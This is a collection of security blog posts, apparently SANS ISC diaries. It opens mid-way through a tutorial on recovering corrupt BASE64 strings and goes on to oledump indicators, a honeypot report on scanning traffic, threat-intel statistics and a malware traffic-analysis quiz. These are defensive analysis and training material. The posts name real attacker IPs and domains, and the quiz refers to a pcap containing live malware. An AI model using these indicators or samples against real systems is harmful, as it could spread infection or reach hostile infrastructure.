Now we see some extra info: "rl@" was appended to "wo". And this confirms that we are indeed missing a character. If we would be missing 2 characters, then base64dump would not detect this. We would need to add 2 characters. Now, I also recommend to use function L4 when adding characters: this way, you'll allways end up with a valid BASE64 string:

The @ character is added because we added BASE64 character A (this represents 6 zero bits). We could also add a padding character (=):

This was an example with a corrupt character at the end of the BASE64 string.

Let's now do the same with a corrupt character at the beginning of the BASE64 string. Here I replace the first character a with a byte (0xE9):

base64dump does not detect this string:

But it does detect it when we use option -p with function L4:

This time, the BASE64 string is detected. But it is not decoded properly: we can not make sense of the decoded value. This is because we are missing one character from the beginning of the BASE64 string: one BASE64 character represents 6 bits, and thus our decoded value is shifted by 6 bits. That's why the decoded value doesn't make sense.

The solution: shift the output by 6 bits. I will show how to bit-shift the output from base64dump with my tool translate, but here I'm going to shift the output by prepending one BASE64 character:

Now the decoded value makes sense to us: there was indeed one character missing at the beginning of the BASE64 string.

If you don't get recognizable output by adding one character, then try adding 2 and 3 characters. If you still don't recognize anything, then either the BASE64 string is not actually encoding anything, or the decoded value needs to be further decoded (decompressed, decrypted, ...). This is something you could try to determine by calculating the entropy of the decoded value, for example.

We looked at BASE64 strings that were corrupt because there was one (or more) character(s) missing from the beginning or ending of the string.

Another possibility, is that there are extra characters, in stead of missing characters.

In this example, I prepend an extra character (x):

When I use base64dump, the BASE64 string is not detected:

And when I preprocess the input with function L4, the string gets detected:

But it doesn't decode to anything we recognize. So either this is a fluke, and we are not dealing with a meaningful BASE64 string, or it is not a fluke and we need to do some more processing to try to decode the value.

I could start by adding characters at the beginning until I see something recognizable, but this time, I'll do the opposite and remove characters, by using a Python slice: bytes[1:], e.g. remove the first byte from bytes. Like this:

And again, we see some meaningful data.

If we don't succeed with removing one character, then try 2 and 3 characters.

One can also remove from the end, for example one character: bytes[:-1]

 

I'll stop now giving examples, and I hope these simple examples illustrate how you can use my base64dump tool with option -p to 1) improve detection and 2) steer decoding.

Of course, this is a trial-and-error process. Usually, you don't know if a BASE64 string was corrupted, and if it is corrupt, how it became corrupt.

Corrupt BASE64 strings are not necessarily caused by an error (like a transmission or decoding error).

They can also be voluntary, to hinder analysis.

Or they can just happen randomly, especially when you are dealing with a binary file like a process memory dump. Inside that dump, it is perfectly possible, for example, that an existing BASE64 string (the one you are looking for, the one that encodes a malicious PowerShell command) is preceded by a 32-bit integer, and that the last byte of that integer is a valid BASE64 character. That character is right before the BASE64 string, and thus it will appear to make the BASE64 string longer by one character: and you end up with a "corrupt" BASE64 string.

In the examples here, we talked about corruption happening at the start or the beginning. It can also happen somewhere inside the BASE64 string, for example in the middle. In that case, you'll end up with 2 (corrupt) BASE64 strings, and you will need to decode them like I explained here, and then put them together.

 

 

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

My tool oledump uses indicators, you're probably most familiar with indicators M and m that indicate that a stream contains macros.

Here is an overview of all possible indicators:

• M: Macro (attributes and code)
• m: macro (attributes without code)
• E: Error (code that throws an error when decompressed)
• !: Unusual macro (code without attributes)
• O: object (embedded file)
• .: storage
• R: root entry

If you want to know more, I recorded this video:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Scanning by IP 91.199.118.137 (first reported in DShield end September) began early this morning which appears to be testing access to site aahwwx.52host.xyz [2] and currently there is little information available for this host. The scan is alternating between ports TCP/81 and TCP/8088. Domaintools [7] shows the root domain 52host.xyz was last updated yesterday.

The only information currently available for this site is "Welcome to nginx!"

Log Examples

20201204-225750: 192.168.25.9:8088-91.199.118.137:18360 data 'GET http://91.199.118.137:12542/19gtaf/1.txt HTTP/1.1\r\nHost: 91.199.118.137:12542\r\nUser-Agent: Go-http-client/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'
20201204-235739: 192.168.25.9:81-91.199.118.137:10406 data 'GET http://91.199.118.137:12542/19gtaf/1.txt HTTP/1.1\r\nHost: 91.199.118.137:12542\r\nUser-Agent: Go-http-client/1.1\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'
20201205-023633: 192.168.25.9:8088-91.199.118.137:57015 data 'CONNECT aahwwx.52host.xyz:443 HTTP/1.1\r\nHost: aahwwx.52host.xyz:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n'
20201205-033442: 192.168.25.9:81-91.199.118.137:57171 data 'CONNECT aahwwx.52host.xyz:443 HTTP/1.1\r\nHost: aahwwx.52host.xyz:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n'
[...]
20201205-095707: 192.168.25.9:8088-91.199.118.137:52994 data 'CONNECT aahwwx.52host.xyz:443 HTTP/1.1\r\nHost: aahwwx.52host.xyz:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n'
20201205-105705: 192.168.25.9:81-91.199.118.137:36560 data 'CONNECT aahwwx.52host.xyz:443 HTTP/1.1\r\nHost: aahwwx.52host.xyz:443\r\nUser-Agent: Go-http-client/1.1\r\n\r\n'

Indicators with ASN

91.199.118.137:12542/19gtaf/1.txt
aahwwx.52host.xyz
2606:4700:3031::6812:35a7 -> AS13335
2606:4700:3037::ac43:b70a -> AS13335
2606:4700:3036::6812:34a7
104.18.52.167 -> AS13335
172.67.183.10 -> AS42861
104.18.53.167 -> AS13335
91.199.118.137 -> AS62240

[1] https://isc.sans.edu/ipdetails.html?ip=91.199.118.137&34475
[2] https://www.robtex.com/dns-lookup/aahwwx.52host.xyz
[3] https://bgp.he.net/AS42861
[4] https://bgp.he.net/AS13335
[5] https://bgp.he.net/AS62240
[6] https://www.robtex.com/ip-lookup/91.199.118.137#analysis
[7] https://whois.domaintools.com/52host.xyz

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Over the past three weeks I have applied threat intel to all the inbound traffic going to my honeypot and the stats have shown some interesting trends. The top 20 TCP ports targeted have been between 1-50 and top 20 UDP 7-11211. During this period, the sensor recorded over 301K indicators matching threat intel from known actors.

A Look at the Top 3 IPs

The port the most targeted over that period has been the Telnet (TCP/23) service with over 97% of the traffic.

As a security practitioner, I have stopped using Telnet years ago (a honeypot being the exception). To find out how widespread Telnet is available, a query for this service on Shodan[4] shows there are still thousand of host showing this port as open and/or active. This map from Censys [8] illustrate a list of 2090422 hosts matched the search query where Telnet was open. Censys only shows the first 500 locations on the map.

IP 207.244.234.226 launched a large scan on the 30 Nov (12:00-06:00) lasting for 6 hours actively scanning various TCP ports multiple times (46836 records). However, IP 88.214.24.77 has been a lot more consistent over time, scanning mostly TCP ports between 1000-1100 illustrated below:

The third IP 5.182.210.95 has been scanning a single port over the past few and it is MemoryCache (UDP/11211). This source was first report in DShield on the 14 Nov 2020 with a last report today. The reports in DShield are mostly against LDAP (UDP/389) and only one record for 11211.

Last, this is the list of top 10 IPs with Intel source, techniques and total.

Two freely and widely available intel platform Anomali Staxx[1] after registration is available for download and installed locally (has API) and AlienVault[2] can be accessed via API and is widely supported.

[1] https://www.anomali.com/resources/staxx
[2] https://otx.alienvault.com/
[3] https://isc.sans.edu/port.html?port=23
[4] https://www.shodan.io/search?query=telnet
[5] https://isc.sans.edu/ipinfo.html?ip=207.244.234.226
[6] https://isc.sans.edu/ipinfo.html?ip=88.214.24.77
[7] https://isc.sans.edu/ipinfo.html?ip=5.182.210.95
[8] https://censys.io/ipv4/map?q=protocols%3A+("23%2Ftelnet")

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Introduction

It's time for another ISC traffic analysis quiz!  Like previous quizzes, we have traffic and alerts from an infected Windows computer.  This month's quiz consists of:

• a packet capture (pcap) of infection traffic
• a image of the alerts shown in Squil
• a text file listing the alerts with a few more details
• a PDF document with answers to the questions below.

The alerts were created using Security Onion running Suricata using the EmergingThreats Pro ruleset, viewed through Sguil.

You can find the pcap, alerts, and answers here.  Don't peek at the answers just yet!

Environment and quiz questions

The environment where this infection takes place:

• LAN segment range: 10.12.1.0/24 (10.12.1.0 thru 10.12.1.255)
• Domain: mrnatural.info
• Domain controller: 10.12.1.2 - MrNatural-DC
• LAN segment gateway: 10.12.1.1
• LAN segment broadcast address: 10.12.1.255

Here are questions to answer based on the pcap and the alerts:

• What is the IP address of the infected Windows host?
• What is the MAC address of the infected Windows host?
• What is the host name of the infected Windows host?
• What is the Windows user account name used on the the infected Windows host?
• What is the date and time of this infection?
• What is the SHA256 hash of the EXE or DLL that was downloaded from 5.44.43.72?
• Which two IP addresses and associated domains have HTTPS traffic with "Internet Widgets Pty" as part of the certificate data?
• Based on the alert for CnC (command and control) traffic, what type of malware caused this infection?

Requirements

This type of analysis requires Wireshark.  Wireshark is my tool of choice to review pcaps of infection activity.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That's why I encourage people to customize Wireshark after installing it.  To help, I've written a series of tutorials.  The ones most helpful for this quiz are:

• Wireshark Tutorial: Changing Your Column Display
• Wireshark Tutorial: Display Filter Expressions
• Wireshark Tutorial: Identifying Hosts and Users
• Wireshark Tutorial: Exporting Objects from a Pcap

Furthermore, I  recommend using a non-Windows environment like BSD, Linux, or macOS to analyze malicious traffic.  This pcap contains HTTP traffic sending Windows-based malware.  If you're using a Windows host to review the pcap, your antivirus (or Windows Defender) may delete the pcap or malware.  Worst case scenario?  If you extract the malware from the pcap and accidentally run it, you might infect your Windows computer.

So beware, because there's actual malware involved for this exercise.

Final words

Again, files associated with this quiz (pcap, alerts, and answers) can be found here.

If you found this fun, we have previous traffic analysis quizzes:

• August 2020
• September 2020
• October 2020
• November 2020  

---
Brad Duncan
brad [at] malware-traffic-analysis.net